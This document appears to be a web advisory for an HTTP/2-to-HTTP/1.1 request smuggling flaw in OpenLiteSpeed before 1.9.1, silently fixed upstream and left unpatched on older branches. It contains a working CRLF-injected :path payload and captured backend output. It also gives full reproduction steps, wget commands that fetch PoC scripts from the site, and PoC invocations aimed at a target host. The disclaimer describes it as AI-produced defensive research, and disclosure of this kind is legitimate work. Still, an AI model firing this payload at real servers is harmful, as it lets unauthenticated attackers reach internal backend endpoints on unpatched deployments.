← warez.sl0p.foo

OpenLiteSpeed H2→H1 Request Smuggling

2026-07-06 · CRITICAL · silent fix in 3d16d477 ("Check in 1.9.1") · no CVE assigned

Summary

OpenLiteSpeed < 1.9.1 accepts HTTP/2 :path pseudo-header values containing SP (0x20), HTAB (0x09), CR (0x0d), and LF (0x0a). The value is stored verbatim in the reconstructed HTTP/1.1 request buffer and forwarded byte-for-byte to proxy backends via ProxyConn::sendReqHeader().

A single HTTP/2 request becomes two HTTP/1.1 requests on the backend connection. The second (smuggled) request bypasses OLS's URL routing — reaching backend endpoints that OLS was never configured to expose.

Affected Versions

SoftwareOpenLiteSpeed
VulnerableAll versions before 1.9.1 — including 1.8.x, 1.7.x, and all prior releases
Fixed in1.9.1 (commit 3d16d477, 2026-07-01)
LiteSpeed EnterpriseUnknown — closed source; may share the same src/h2 codebase
DisclosureSilent — commit message is "Check in 1.9.1", no CVE, no advisory
Trigger conditionAny context with type proxy (reverse-proxy mode)
Auth requiredNo — unauthenticated, remote

Who is affected

Any deployment where OpenLiteSpeed terminates HTTP/2 and proxies requests to a backend over HTTP/1.1. This is the standard architecture for:

Deployments that only use LSAPI or FastCGI are not affected — those protocols use binary framing, not raw HTTP/1.1 forwarding. Pure static-file serving is also not affected.

What the fix does NOT backport to

The fix exists only on the master branch (1.9.1). The following release branches do not contain it: v1_8, v1_7, v1_6, v1_5, v1_4, v1_3, v1_2, v1_0. If you are pinned to any 1.8.x or earlier release, you are vulnerable with no patch available from upstream.

Root Cause

The HPACK header processor (UpkdHdrBuilder::process() in src/h2/unpackedheaders.cpp) performed a generic field-value character scan before pseudo-header dispatch. The scan used the high nibble of a lookup table that allowed SP and HTAB in values (legal for general headers, fatal for pseudo-headers copied into the request line).

No validation existed for :path or :scheme at all. :method had a partial guard (memchr(val, ' ', len) only for methods >7 chars).

The fix introduces per-pseudo-header validation with UPK_TGT_BAD and UPK_MTH_BAD flag bits that reject request-line-unsafe bytes in a single pass.

Exploitation Path

Confirmed by source audit and live testing against OLS 1.9.0.1:

  1. UpkdHdrBuilder::process():path with CRLF passes validation
  2. HttpReq::processUnpackedHeaders() — URL boundaries come from getUrlLen() (HPACK length), not by scanning for spaces. CRLF bytes survive into m_headerBuf
  3. m_iHttpHeaderEnd = m_headerBuf.size() — the entire buffer (including injected CRLFs) is marked as header data
  4. ProxyConn::sendReqHeader() — calls pReq->getOrgReqLine() and forwards getHttpHeaderLen() bytes verbatim over TCP to the backend

Attack Scenario

OLS proxies /api/* to a backend at 127.0.0.1:3000. The backend also serves /admin/* internally — not exposed through OLS (no proxy context for it). The attacker sends one HTTP/2 request:

:method    = GET
:path      = /api/status HTTP/1.1\r\nHost: target\r\nContent-Length: 0\r\n\r\nGET /admin/users
:scheme    = https
:authority = target.example.com

OLS reconstructs and forwards to the backend:

┌─── Request 1 (matches /api/ context → proxied) ───
GET /api/status HTTP/1.1
Host: target
Content-Length: 0

┌─── Request 2 (SMUGGLED — bypasses OLS routing) ───
GET /admin/users HTTP/1.1
host: target.example.com
X-Forwarded-For: attacker-ip
X-Forwarded-Proto: https
Accept-Encoding: gzip

Confirmed Backend Capture

Tested against OLS 1.9.0.1 (commit 28f7da33) with a netcat backend on 127.0.0.1:9999. This is the exact output the backend received from a single H2 request:

GET /proxy/public HTTP/1.1
Host: 127.0.0.1
Content-Length: 0

GET /internal-api/admin/users HTTP/1.1
host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Proto: https
Accept-Encoding: gzip
X-Forwarded-For: 127.0.0.1

Reproduce It Yourself

The following sets up a minimal vulnerable OLS instance from source. Tested on Arch Linux; adapt package names for your distro.

1. Build OLS 1.9.0.1 (last vulnerable version)

# Clone and checkout the vulnerable version
git clone https://github.com/litespeedtech/openlitespeed.git ols-vuln
cd ols-vuln
git checkout 28f7da33    # "Check in 1.9.0.1"

# Run the build script (fetches boringssl + deps, compiles everything)
# On Debian/Ubuntu:
sudo bash build.sh

# Or install from the official OLS repo — any version < 1.9.1 works:
# https://openlitespeed.org/kb/install-ols-from-litespeed-repositories/

2. Minimal OLS config

This is the entire config needed. One TLS listener, one proxy context. The backend at 127.0.0.1:9999 is where we'll capture traffic.

# /tmp/ols-test/conf/httpd_config.conf
serverName              test
user                    nobody
group                   nogroup

# Self-signed cert (generate with openssl req -x509 -newkey rsa:2048 ...)
listener https {
  address               *:8443
  secure                1
  keyFile               $SERVER_ROOT/conf/server.key
  certFile              $SERVER_ROOT/conf/server.crt
  map                   testvhost *
}

extprocessor backend {
  type                  proxy
  address               127.0.0.1:9999
  maxConns              10
}

virtualhost testvhost {
  vhRoot                /tmp/ols-test/
  docRoot               $VH_ROOT/html/

  # This is the vulnerable context — any proxy context triggers it
  context /proxy/ {
    type                proxy
    handler             backend
  }
}

3. Start OLS and a capture backend

# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -nodes \
  -keyout /tmp/ols-test/conf/server.key \
  -out /tmp/ols-test/conf/server.crt \
  -subj "/CN=localhost" -days 365

# Create docroot
mkdir -p /tmp/ols-test/html
echo "ok" > /tmp/ols-test/html/index.html

# Start OLS
export LSWS_HOME=/tmp/ols-test
/path/to/openlitespeed -c /tmp/ols-test/conf/httpd_config.conf

# Verify H2 works
curl -k --http2 https://127.0.0.1:8443/  # should return "ok" or 404

# Start a netcat listener as the "backend" — captures raw bytes
(echo -ne "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK" \
  | ncat -l 127.0.0.1 9999) &

4. Fire the PoC

# Download the PoC scripts
wget https://warez.sl0p.foo/ols-h2-smuggle/poc_h2_request_smuggling.py
wget https://warez.sl0p.foo/ols-h2-smuggle/h2_frame_helpers.py

# Send the smuggling payload
python3 poc_h2_request_smuggling.py 127.0.0.1 8443 --tls \
  --decoy "/proxy/public" \
  --target "/internal-api/admin/users" \
  --vhost "127.0.0.1"

5. Check what the backend received

The ncat output (or check its stdout) shows two separate HTTP/1.1 requests from a single H2 request:

GET /proxy/public HTTP/1.1       ← request 1 (decoy, matched /proxy/ context)
Host: 127.0.0.1
Content-Length: 0
                                 ← empty line ends request 1
GET /internal-api/admin/users HTTP/1.1  ← request 2 (SMUGGLED)
host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Proto: https
Accept-Encoding: gzip
X-Forwarded-For: 127.0.0.1

The second request reached the backend despite /internal-api/ having no proxy context in OLS. The backend processes it as a normal request.

To verify the fix works, repeat with OLS ≥ 1.9.1. The server will reject the :path and return an error — the backend receives nothing.

Impact

PoC

poc_h2_request_smuggling.py — smuggling PoC (main script)
sha256: 6b77439465c710729b3619ee66c3ba4d3ff9fcb1a41463ac697642af35d9b3f9

h2_frame_helpers.py — raw H2 frame library (required)
sha256: d0db5b8c6b5d3b3e6a939e97ac84e8a624f1ba6827c912066d32bf7b6138df1a

No external dependencies — raw sockets only. Python 3.8+.

# Dry-run: show the crafted bytes without connecting
python3 poc_h2_request_smuggling.py 127.0.0.1 8443 --tls --dry-run

# Live test against a vulnerable OLS instance
# (start a netcat backend first: ncat -l 127.0.0.1 9999)
python3 poc_h2_request_smuggling.py TARGET 443 --tls \
  --decoy "/api/status" \
  --target "/admin/users" \
  --vhost "target.example.com"

Fix

Upgrade to OpenLiteSpeed ≥ 1.9.1, or cherry-pick commit 3d16d477.

The fix adds validateReqValue() with per-pseudo-header character masks: :path rejects SP/HTAB/\; :method rejects SP/HTAB; :authority and :scheme get general value validation.

Timeline

2026-01-08Partial fix in 1.8.5 — memchr(val,' ',len) for methods >7 chars only
2026-07-01Complete fix in 1.9.1 — validateReqValue() with character table
2026-07-06Independent rediscovery via source audit; confirmed on 1.9.0.1 test instance
No CVE assigned. No vendor advisory published.

Related Commits (silent h2 fixes in the same window)

SHASevBug
f4a6f0f8HIGHConnection-level receive flow-control window never enforced
b43ad585HIGHUninitialized HPACK pseudo-header slots (stale pointers from pool)
0c62f1d0HIGHRapid-reset mitigation bypass (server-initiated RSTs uncounted)
e81535f7MEDIUMNULL deref in onPeerShutdown — remote crash
Disclaimer — This advisory, including all analysis, proof-of-concept code, and reproduction steps, was produced by AI coding agents (LLM-driven static analysis and automated testing). Nothing here is published on the strength of static analysis alone: every finding is validated end-to-end before publication — the proof-of-concept is run against a real, affected build and the stated impact is observed, not inferred. That validation pipeline is itself largely automated, and the surrounding root-cause analysis, affected-version ranges, and severity assessments may still contain errors. All materials are provided as-is with absolutely no warranty. Use at your own risk and validate independently before acting on any claims made herein. Published for defensive research purposes only.